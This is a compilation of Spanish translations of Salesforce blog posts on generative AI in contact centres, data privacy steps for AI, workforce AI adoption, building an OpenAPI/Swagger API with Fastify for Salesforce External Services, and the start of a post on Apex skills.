Sugerencia: Cree una plantilla para los resúmenes de sus casos para que la herramienta de inteligencia artificial de su centro de contacto pueda extraer fácilmente los datos de la conversación en el CRM sin perder detalles importantes.

3. Generación de artículos de conocimiento

La investigación de Salesforce muestra que el 59% de los clientes prefieren herramientas de autoservicio para problemas de servicio simples. Sin embargo, para hacer eso, una empresa necesita una gran base de conocimientos en la que los clientes puedan buscar para encontrar una solución.

Los agentes de servicio a menudo tienen la tarea de publicar artículos de conocimiento después de resolver un caso. Pero lleva tiempo que los agentes creen, revisen y publiquen manualmente un artículo, lo que les impide ayudar a los clientes que lo necesitan.

La IA del centro de contacto puede generar automáticamente un artículo de la base de conocimientos después de que se cierra un caso de soporte extrayendo notas del caso, historial de mensajes y datos de otras herramientas de servicio. A partir de ahí, su agente solo necesita revisar el artículo para garantizar la precisión y agregarlo a la cola para su aprobación. Esto elimina la presión de los agentes para escribir artículos desde cero.

Volviendo a nuestro ejemplo de Nation-Wide Web, Austin tiene Internet lento y llamadas para solucionar problemas. Está conectado con Tawni, quien le pide los detalles de su enrutador y módem. Tawni analiza algunos escenarios comunes basados en casos similares, pero ninguno funciona para la configuración de Austin.

Tawni decide probar algo nuevo. Le pide a Austin que reinicie todo el sistema a través de la aplicación móvil Nation-Wide Web. Una vez que esto termina, las velocidades de Internet de Austin vuelven a la normalidad y el caso se cierra. Tawni registra toda esta información en la consola de servicio de la empresa, incluida la configuración de su enrutador y módem, y cómo resolvió este problema con un reinicio.

Debido a que este fue un caso único, la herramienta de inteligencia artificial del centro de contacto utiliza los detalles de la conversación de Tawni con Austin y el contexto del problema de Austin para generar un nuevo artículo de base de conocimiento. Tawni agrega algunos detalles adicionales y los empuja a la cola de aprobación.

Sugerencia: incluya tantos detalles como sea posible en los artículos de su base de conocimiento para que los clientes tengan toda la información que necesitan para resolver sus problemas.

4. Generar respuestas

Cuando sus agentes están en medio de una interacción de servicio, no tienen tiempo para leer páginas de documentación o cada detalle de un artículo de la base de conocimiento. Pero aún necesitan encontrar la información correcta para resolver la consulta de su cliente.

Lo mismo ocurre con el autoservicio . Leer artículo tras artículo para encontrar la información que necesita no es una buena experiencia para el cliente.

La IA generativa puede ayudar a los agentes y clientes a obtener las respuestas que necesitan de forma más rápida y sencilla. En lugar de obtener una lista de páginas que pueden (o no) tener la respuesta, AI puede extraer los detalles relevantes de un artículo de conocimiento y responder una pregunta directamente como texto sin formato.

Para nuestro ejemplo final, volveremos a nuestro cliente de Nation-Wide Web, Austin.

Unos meses después de su interacción con Tawni, su Internet vuelve a ser lento. Recuerda que usaron la aplicación móvil para solucionar el problema la última vez, pero ahora no puede acceder a la aplicación móvil. Pero en lugar de pedir ayuda, echa un vistazo al Centro de ayuda de la empresa. Austin usa la función de búsqueda para hacer la siguiente pregunta: "¿Cómo soluciono una conexión a Internet lenta cuando no puedo acceder a mi aplicación móvil?"

Antes, Austin primero habría tenido que encontrar el artículo sobre cómo restablecer su contraseña y luego encontrar el artículo sobre el uso de la aplicación para realizar un reinicio completo del sistema. Ahora, la herramienta de inteligencia artificial del centro de contacto genera una respuesta personalizada a la pregunta de Austin, reuniendo información de varios artículos. “Primero, haga clic aquí para solicitar una nueva contraseña para su aplicación móvil. Una vez que haya iniciado sesión, aquí se explica cómo usar la aplicación para realizar un reinicio completo del sistema…”

Austin resolvió su problema sin interactuar con un agente y aun así obtuvo una experiencia personalizada. Si un agente fuera el que necesitara encontrar información específica dentro del centro de conocimiento, tendría la misma experiencia.

Sugerencia: hacer que su contenido de autoservicio sea fácil de encontrar y navegar genera confianza en el cliente.

Al agregar IA generativa a su centro de contacto , está ayudando a todos a aprovechar al máximo cada interacción de servicio. Sus agentes hacen más con menos trabajo y sus clientes obtienen una resolución rápida y fácil a sus problemas mientras disfrutan de una experiencia personalizada.

¿Cuál es la mejor manera de prepararse para el éxito con la IA generativa? Comience lentamente y desarrolle su programa de IA para el centro de contacto a medida que aumenta sus habilidades comerciales en IA. Por ejemplo, haga que sus agentes tomen Recomendaciones de respuesta de Einstein para el servicio en Trailhead y luego practiquen lo que aprenden entre ellos. Una vez que se sientan cómodos, vea cómo puede aplicar IA generativa en su centro de contacto .

Potencie su servicio al cliente con IA generativa

Puede escalar su servicio al cliente con el poder de la IA generativa junto con los datos de su cliente y CRM. Vea cómo esta tecnología mejora la eficiencia en el centro de contacto y aumenta la lealtad del cliente.

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5 pasos para la IA generativa confiable para desarrolladores de Salesforce ☁️

5 pasos para la IA generativa confiable para desarrolladores de Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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5 pasos para la IA generativa confiable para desarrolladores de Salesforce | Blog de desarrolladores de Salesforce

La IA generativa se ha convertido en el factor de cambio para las empresas innovadoras y orientadas al cliente. Impulsada por algoritmos avanzados y aprendizaje automático, la IA generativa puede impulsar la innovación, optimizar los procesos y acelerar las empresas en todas partes al proporcionar experiencias y soluciones personalizadas adaptadas a las necesidades únicas de los clientes.

Igualmente importante para las experiencias poderosas dirigidas por el cliente es la protección de los datos críticos para el negocio. Los sistemas de IA procesan y generan contenido basado en grandes conjuntos de datos y, lamentablemente, los modelos de lenguaje extenso (LLM) no están poniendo su negocio en primer lugar. Mientras se prepara para implementar capacidades de IA generativa, es fundamental priorizar la privacidad de los datos. Al implementar medidas sólidas de protección de datos, no solo mantiene el cumplimiento de las regulaciones pertinentes, sino que también mantiene la confianza del cliente, su activo más valioso.

Con los cinco pasos que se describen a continuación, puede innovar rápidamente, aumentar la productividad y mejorar las experiencias personalizadas, al mismo tiempo que garantiza la seguridad y la privacidad de los datos de sus clientes.

Paso 1: comprender y auditar sus datos

Para asegurarse de tener las protecciones de seguridad, privacidad y gobernanza correctas, querrá comprender qué datos usará para crear avisos, plantillas y modelos de capacitación. Comprender los datos a los que permite que accedan los modelos de IA ayudará a evitar que se compartan inadvertidamente los datos personales o confidenciales de los clientes.

Entonces, ¿cómo empezar? Primero, anonimice y agregue los datos de los clientes antes de usarlos con fines de IA generativa. Elimine la información de identificación personal (PII) y cualquier otro dato confidencial que pueda identificar a las personas.

Una manera fácil de hacer esto en Salesforce es usar Data Detect , un producto que le permite revisar objetos y campos antes de permitir que los procesos de IA accedan a ellos para recibir indicaciones y capacitación. Una vez que los datos se han escaneado a través de Data Detect, puede confirmar que no hay sorpresas en esos datos, como números de tarjetas de crédito o direcciones de correo electrónico en campos donde ese tipo de datos no debería existir.

Data Detect también puede ayudar a recomendar un nivel de clasificación, como "Confidencial" o "PII" para datos personales, y proporcionar detalles sobre el contenido de un objeto, así como encontrar datos confidenciales generados por chatbots, casos y transcripciones de llamadas registradas automáticamente. por IA.

Paso 2: configure la protección de la privacidad de los datos para sus procesos generativos de IA

Respetar la privacidad del cliente y proteger los datos a lo largo de sus procesos de IA es crucial para establecer y mantener la confianza. A medida que confía más en la IA para comprender y tomar decisiones a partir de sus datos, ¿cómo protege también esos datos, especialmente la PII?

Para los procesos de IA que usan datos personales, como aumentar los registros de contacto u orquestar ofertas de marketing dinámicas 1:1, querrá desarrollar políticas de uso de datos claras y transparentes que describan cómo se manejarán los datos de los clientes, incluido su uso en sistemas de IA generativos. . Comunique estas políticas a sus clientes y bríndeles la oportunidad de optar por no participar o elegir el nivel adecuado de uso de datos. Además, cree una política para eliminar y ofuscar los datos que ya no son útiles o relevantes, para que sus clientes permanezcan protegidos y sus procesos de IA generativa permanezcan precisos.

Centro de privacidad puede ayudar a verificar que sus procesos de IA estén autorizados para su uso en capacitación y avisos. El Centro de privacidad también puede ayudarlo a crear políticas de retención para administrar el ciclo de vida de los datos utilizados y generados por la IA, incluidas las transcripciones de llamadas, los chatbots y los casos registrados automáticamente por la IA.

Paso 3: configure su organización para administrar la IA generativa

Tanto para proteger los datos utilizados en los procesos de IA como para confirmar que sus integraciones se mantienen dentro de los límites de los datos que desea utilizar, deberá implementar controles para proteger los datos de los clientes frente a accesos no autorizados o infracciones.

Los controles de acceso le permiten restringir el acceso a los datos del cliente solo al personal autorizado. Al otorgar acceso según sea necesario, reduce el riesgo de que los modelos de IA y las personas no autorizadas accedan a datos confidenciales. Esto protege contra el posible uso indebido de esos datos al tiempo que garantiza la privacidad del cliente.

Security Center puede ayudarlo a administrar de manera centralizada los permisos de usuario y las configuraciones de la organización para los datos que se usan y se obtienen de los procesos de IA.

Ahora preparémonos para implementar la IA de manera segura en toda su organización.

Paso 4: pruebe sus procesos para la implementación

Las pruebas en un entorno de espacio aislado son primordiales cuando se trata de IA generativa. Esto tiene dos propósitos fundamentales: probar los procesos de IA y capacitar a los empleados sobre el uso seguro y responsable de la IA generativa. Al realizar pruebas exhaustivas en un entorno de espacio aislado controlado, las organizaciones pueden evaluar y refinar el rendimiento y el comportamiento de sus modelos generativos de IA antes de implementarlos en escenarios del mundo real. Las pruebas permiten la identificación y mitigación de posibles problemas, como sesgos, errores o consecuencias no deseadas que pueden surgir durante un proceso de IA generativa.

Además, un entorno de sandbox proporciona un espacio seguro para que los empleados adquieran experiencia práctica y capacitación en el uso de herramientas y sistemas de IA generativa. Les permite explorar capacidades e identificar consideraciones éticas mientras toman decisiones informadas al usar la tecnología de manera responsable en sus operaciones diarias. Al aprovechar las pruebas de sandbox, las organizaciones pueden garantizar la confiabilidad, la eficacia y la aplicación ética de la IA generativa al tiempo que capacitan a su fuerza laboral para adoptar y utilizar esta tecnología transformadora con confianza.

Asegúrese de que, cuando utilice un espacio aislado para el entrenamiento de IA, haya eliminado todos los datos personales para crear sus indicaciones o entrenar un modelo de IA; puede eliminar u ofuscar fácilmente cualquier dato que no deba incluirse con Data Mask .

Paso 5: Supervise y proteja sus procesos de IA

Garantizar que la integración de IA no acceda a los datos ni modifique los sistemas más allá del alcance previsto es crucial para mantener la seguridad de los datos y la integridad del sistema. Como describimos anteriormente, los controles de acceso y los permisos de los usuarios deben definirse cuidadosamente, otorgando a los sistemas de IA solo los privilegios necesarios y limitando su acceso a fuentes o sistemas de datos específicos. Además, se deben realizar pruebas y validaciones exhaustivas de la integración de la IA para verificar que funcione según lo previsto y que no tenga consecuencias ni vulnerabilidades no deseadas.

Finalmente, implementar mecanismos de monitoreo robustos puede ayudar a detectar y alertar cualquier intento de acceso no autorizado o comportamiento anormal por parte del sistema de IA. Las auditorías y revisiones periódicas de los procesos de integración de IA y los registros de acceso pueden ayudar a identificar cualquier desviación o posibles riesgos de seguridad.

Event Monitoring ayuda a que el proceso de monitoreo y detección sea más fácil al permitir la configuración de capacidades, como la seguridad de transacciones, para enviar alertas o bloquear acciones más allá de lo que se pretendía inicialmente para su proceso de IA.

Finalmente, a medida que se adentra más en su viaje de IA, es fundamental que sus datos estén respaldados y puedan restaurarse hasta el nivel de registro en el caso poco probable de que los datos utilizados y aumentados por IA estén mal configurados o sincronizados incorrectamente. Haga una copia de seguridad de sus datos para ver cada versión de los registros utilizados y tocados por AI, y restaure cualquier error.

Conclusión

Al adoptar un enfoque que prioriza la privacidad e implementar medidas sólidas de protección de datos, puede crear una base confiable para prácticas de IA generativas responsables, sostenibles y éticas, todo mientras impulsa una innovación más eficiente y efectiva e interacciones más personalizadas con los clientes. Para obtener más información sobre cómo comenzar con la IA generativa, consulte nuestra Guía de introducción a la IA.

Recursos

Sobre el Autor

Marla Hay Vicepresidenta de Seguridad, Privacidad y Gestión de Datos en Salesforce y dirige la organización de productos de Servicios de confianza. Se unió a Salesforce en 2017 después de liderar productos en una empresa de gestión de identidad de consumidores. Marla tiene una licenciatura en Ciencias de la Computación de la Universidad de Cornell y una maestría en Ciencias de la Computación de la Universidad Johns Hopkins.

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Cómo acelerar su éxito en la era de la IA

Cómo acelerar su éxito en la era de la IA

En el panorama en rápida evolución de la IA generativa , su verdadero potencial radica en cómo la gente la usa. Para tener éxito, las organizaciones deben adoptar una estrategia centrada en el ser humano que integre cuidadosamente la IA en la fuerza laboral . Este enfoque conecta a las personas con la nueva tecnología de inteligencia artificial para abordar las necesidades de los clientes, reducir los desafíos y generar valor rápidamente. Las organizaciones pueden lograr una mayor satisfacción de los clientes y empleados incorporando características mejoradas de IA, mejorando el rendimiento y el crecimiento y aumentando la adopción.

La realidad es que un número significativo de esfuerzos de transformación se quedan cortos. Las encuestas revelan que un asombroso 70 % de tales iniciativas fallan , lo que lleva a una implementación y adopción lentas de nuevas herramientas, obstáculos para el uso de la tecnología y resistencia a nuevas formas de trabajar. A menudo, esta falla se deriva de la falta de enfoque en la intersección crítica entre la tecnología y las personas. Pero no tiene por qué ser así.

Descubre IA + Datos + CRM con Fase 0

Los servicios profesionales de Salesforce lo ayudarán a crear un plan estratégico para el éxito a largo plazo y lo ayudarán a beneficiarse de los rápidos avances tecnológicos.

A medida que navegamos por esta nueva era, debemos cambiar nuestra mentalidad y adoptar las tendencias emergentes, los datos, los conocimientos del mercado y las abundantes oportunidades que presenta la IA. Explore las consideraciones clave para guiarlo en el camino hacia el éxito. Empodérate para navegar el poder transformador de la IA y crea un futuro donde la innovación y el potencial humano converjan sin problemas.

¿Cómo es adoptar un enfoque centrado en el ser humano para la adopción de IA? Depende de su organización y su progresión, ya que cada cultura es diferente. Sin embargo, hay ciertos aspectos del cambio que puede anticipar:

  • Coloque a las personas y su comprensión al frente de la transformación.
  • Alinear los resultados en función de las necesidades y objetivos específicos de esas personas.
  • Promover la inclusión y la adaptabilidad para abordar los diversos factores que dan forma al panorama en constante cambio.

La implementación de IA en la fuerza laboral y la cultura organizacional es una tarea compleja que abarca varios desafíos. Sin embargo, navegar este cambio puede desbloquear beneficios sustanciales. AI ofrece una nueva forma de ver el trabajo y su impacto se extenderá más allá de lo que esperamos hoy. Aborda tu transformación digital con los cinco elementos del marco de éxito del cliente de Salesforce para ser ágil frente a este nuevo estándar.

Adopte la flexibilidad para construir IA en la fuerza laboral más rápido

La IA se está desarrollando de manera rápida y difícil de predecir, por lo que planificar en torno a un punto final determinado no es una estrategia eficaz. En cambio, podemos construir los cimientos para fuerzas de trabajo preparadas para la IA que aprovechen tantas oportunidades como sea posible.

En resumen: ser una fuerza laboral lista para el cambio es ser una fuerza laboral lista para la IA.

Al adoptar una mentalidad basada en los resultados, las organizaciones desbloquean su potencial para conectarse con los clientes y lograr sus objetivos comerciales principales. Estos cambios ofrecen grandes beneficios, como ahorrar dinero a través de nuevas formas de trabajar.

Estos cambios son más exitosos cuando la centralidad humana es un enfoque principal, considerando cómo las personas experimentan el cambio. La innovación continua es clave para la evolución de la tecnología, asegurando que se alinee con las necesidades y expectativas en constante evolución de las personas y las organizaciones.

Lo que recomendamos:

  • Cultiva las habilidades de IA de tu equipo.
  • Fomente una cultura adaptativa dentro de su lugar de trabajo fomentando la experimentación.
  • Cree un marco de aprendizaje estructurado proporcionando recursos y una hoja de ruta clara para una utilización eficaz.
  • Utilice la narración para visualizar el futuro del trabajo.
  • Comience a evaluar la preparación para el cambio.

Fomentar la estabilidad para una fuerza laboral resiliente

Los líderes tienen un papel importante en la formación de la mentalidad organizacional y en el cultivo de un entorno seguro que permita a las personas buscar el crecimiento. Abra la puerta al aprendizaje de nuevas tecnologías y formas de trabajar como una habilidad fundamental para la innovación y el cambio.

Al comprender y empatizar con la respuesta emocional y humana a esta tecnología innovadora, podemos encontrar un camino claro para desbloquear su potencial más rápidamente.

Tome este enfoque:

  • Promueva la seguridad psicológica para ayudar a los equipos a desarrollar una mentalidad de principiante.
  • Proyecte una visión del estado futuro que incluya a todos.
  • Fomente un entorno que enfatice el aprendizaje continuo y reformule las nuevas herramientas habilitadas para IA.
  • Pida a los empleados que identifiquen partes de su trabajo que podrían automatizarse o aumentarse con IA.
  • Reconocer los primeros esfuerzos para adoptar nuevas tecnologías.

Genere confianza para una adopción tecnológica exitosa

Si sus empleados tienen reservas acerca de las nuevas tecnologías, es esencial abordar sus inquietudes para fomentar la aceptación y el entusiasmo. Generar confianza se convierte en un factor clave en este proceso, ya que el tema de las conversaciones en torno a la IA puede generar incertidumbre . Trate de aliviar estos temores mediante el desarrollo de una estrategia para introducir nuevas tecnologías a su fuerza laboral y empoderarlos con las habilidades necesarias.

Lograr una alineación , donde todos estén unidos en torno a un objetivo común, es crucial. Al poner énfasis en alinear la comunicación sobre el cambio y fomentar una comprensión clara de sus beneficios, influimos en cómo las personas reaccionan y adoptan las iniciativas de transformación.

Lo que puedes hacer:

  • Aborde las nuevas tecnologías como mejoras de la productividad en lugar de un reemplazo de la fuerza laboral.
  • Escuche y aborde temores específicos proporcionando mecanismos de retroalimentación adaptados a las inquietudes de sus clientes o equipo.
  • Implemente oportunidades de mejora de habilidades de inmediato.
  • Incluya a sus equipos en la toma de decisiones para que puedan adaptarse al panorama cambiante.
  • Proporcione una alternativa transparente y creíble para el futuro dentro de su equipo.

Impulse la transformación continua con
La Oficina de Innovación Continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el máximo valor de su inversión en Salesforce.

Aumente la colaboración con una mentalidad de plataforma

Las organizaciones, como las personas, tienen una mentalidad de plataforma que influye en su respuesta al cambio. Algunos equipos aceptan el cambio y priorizan el crecimiento, mientras que otros se sienten más cómodos manteniendo el statu quo.

Cuando las organizaciones adoptan una mentalidad de plataforma, van más allá de ver la IA como una herramienta independiente y, en cambio, crean un entorno que fomenta las conexiones de los usuarios, el intercambio de conocimientos y el progreso colaborativo. Al comprender qué distingue a su plataforma y cómo los usuarios pueden obtener el máximo beneficio de ella, las organizaciones pueden utilizar mejor el verdadero poder de la IA en la fuerza laboral.

Intenta hacer esto:

  • Resalte los beneficios, la colaboración, los procesos simplificados y la innovación para enfatizar el valor de la IA.
  • Fomentar el intercambio, la creación de redes, el aprendizaje y el intercambio de ideas entre los usuarios.
  • Proporcione recursos integrales para ayudar a los usuarios a navegar y usar la plataforma de manera efectiva.
  • Busque comentarios, itere en función de las necesidades de los usuarios y manténgase a la vanguardia para mejorar continuamente su plataforma.

Aprovecha las oportunidades que te esperan

El cambio ocurre a la velocidad de las personas y, en la era de la IA, el ritmo de la transformación se ha acelerado exponencialmente. La oportunidad de aprovechar la IA e impulsar la innovación surge más rápido que nunca, brindando a las organizaciones una oportunidad única de mantenerse a la vanguardia y obtener una ventaja competitiva.

Descubra el potencial que tiene por delante y prepárese para el futuro. Conéctese con los servicios profesionales de Salesforce hoy para analizar sus objetivos de transformación únicos y explorar cómo nuestra experiencia puede ayudarlo a adoptar con éxito la IA en la fuerza laboral.

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Diseñe una API Swagger con código para traer datos a Salesforce ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Diseñe una API de Swagger con código para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integración de una API externa con su organización de Salesforce puede ser una tarea sencilla que no requiere código si utilizaCredenciales con nombre y Servicios externos . Deberá crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuración. La clave aquí es proporcionar una especificación OpenAPI para la API. Si la API no tiene una, puede diseñarla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el código de código abierto.

En esta publicación, le presentaremos la especificación OpenAPI y Swagger, discutiremos los elementos principales de la especificación y lo guiaremos a través del diseño e implementación de una API con código. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificación para diseñar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, métodos de autenticación y más. Las especificaciones de OpenAPI están escritas en formatos YAML o JSON, ambos fáciles de leer y escribir. Esta especificación es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opción popular para diseñar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deberá especificarse con OpenAPI. Además, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicación, la versión actual de la especificación OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayoría de código abierto ) para implementar la especificación OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gráfica para comprender y probar las API, y Swagger Codegen, que genera código SDK de cliente y apéndices de servidor a partir de una especificación OpenAPI.

La especificación OpenAPI v2 también se conoce como Swagger, pero su nombre cambió cuando se convirtió en parte de la iniciativa OpenAPI en 2016.

Estructura básica de la especificación OpenAPI

La especificación OpenAPI está organizada en las siguientes secciones clave:

API abierta Define el documento raíz y combina la lista de recursos y la declaración de la API. Requerido
Información Proporciona metadatos sobre la API, como el título, la descripción, los términos del servicio, la información de contacto, etc. Obligatorio
Servidores Especifica una o más URL base para su API, como producción o preparación.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un método HTTP con los detalles de la operación.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operación.
Documentos externos Proporciona una descripción y una URL para la documentación externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, parámetros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicación más detallada de cada sección y sus correspondientes definiciones de objeto, consulte la documentación oficial de la especificación OpenAPI .

Para fines de demostración, crearemos una API para administrar una librería. Esta API contará con dos métodos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuación, encontrará una definición básica de esta API, centrándose en el método para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aquí: Información , Rutas y Componentes . Como se mencionó anteriormente, describiremos esta API a medida que la implementemos mediante código. Para este propósito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Está diseñado para facilitar su uso y ofrecer la máxima velocidad sin comprometer la personalización. Fastify proporciona una base sólida para las aplicaciones web y las API, con funciones como la validación de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro automático. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan automáticamente a partir de sus esquemas de ruta o de una definición existente de Swagger/OpenAPI. Además, utilizará fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicación.

Nota: La siguiente demostración requiere la instalación de Node.js LTS y, a la fecha de esta publicación de blog, la última versión es v18.16.0.

Comencemos a crear la API de su librería instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostración, se centrará en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos cómo integrar la API con una base de datos. Si está interesado en explorar la fuente completa del proyecto, está disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registrémoslos como complementos.

aplicación.js

En la configuración del complemento de Swagger, tiene la opción de pasar toda la definición de especificación de OpenAPI, o puede aprovechar el enfoque dinámico que ofrece el complemento. Para esta demostración, utilizará el enfoque dinámico. Dado que el único campo obligatorio es info , definirá los metadatos de su API allí, además, la sección refResolver se encarga de nombrar las referencias de definición de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojará el sitio de documentación.

Ahora vamos a crear una carpeta schemas . Aquí es donde definirá los esquemas de su API. Para esta demostración, definirá un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajará, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificación OpenAPI, el complemento Swagger agregará automáticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deberá registrar los esquemas dentro de Fastify. Luego, especificará los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} «>

Analicemos la ruta POST /books :

  • La función fastify.post define el método HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga útil que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). También incluye varios objetos response para esa ruta, que se asignan a los códigos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementación de la ruta. En este caso, está insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolverá un objeto de error. Es importante tener en cuenta que está utilizando los mismos esquemas que definió anteriormente.

Nota: También tiene la opción de excluir ciertas rutas de la documentación pasando hide: true en el objeto de esquema de esa ruta específica, como se demuestra en GET / route.

Su API está lista, así que ejecútela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentación y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, asegúrese de actualizar el script start en el archivo package.json con lo siguiente.

Además, asegúrese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql está disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver cómo se ve implementado, vea mi versión que se ejecuta en Heroku .

Integración de una API externa con Salesforce

Ahora que tiene una API de acceso público, integrémosla con Salesforce como un servicio externo.

Primero, deberá crear una credencial con nombre para esta API. En la interfaz de usuario de configuración, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticación personalizado y una entidad de seguridad.

Asegúrese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API pública.

A continuación, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificación de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificación de OpenAPI. En su demostración, será /api-docs/json .

Después de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los parámetros de entrada como los de salida.

Ahora podrá invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusión

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinación para integrar API externas en su organización de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir fácilmente estas definiciones e invocarlas desde soluciones de código bajo y pro-código, los desarrolladores como usted pueden optimizar el proceso de conexión a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si está interesado en obtener más información sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuación, incluidos videos que muestran cómo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

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Sube de nivel tus habilidades Apex ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Subiendo de nivel tus habilidades de Apex | Blog de desarrolladores de Salesforce

Apex es una habilidad única que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos básicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, límites reguladores y disparadores, son particulares de Apex y cómo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas características y modismos clave, ¿a dónde va después?

En esta publicación, aprenderá sobre algunas características de Apex que son críticas para cualquier desarrollador de Apex que busque mejorar más allá de lo básico, junto con dónde puede ir para aprender sobre ellas.

Nota: Siempre que sea posible, los ejemplos de código en esta publicación se toman directamente o se adaptan de la aplicación de muestra Recetas de Apex o la Guía para desarrolladores de Apex. Ver las referencias al final del artículo.

En estos días, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opción que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. Aún así, es raro que los problemas comerciales complejos se puedan resolver sin ningún tipo de código.

Introduzca Apex invocable.

La anotación @InvocableMethod se usa para definir métodos llamados por Flow. Y @InvocableVariable muestra los parámetros para que Flow pase datos a su código Apex. ¿Por qué llamaría a Apex desde Flow? Quizás la lógica de su flujo se está volviendo demasiado compleja. Tal vez su automatización necesite realizar una operación que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.

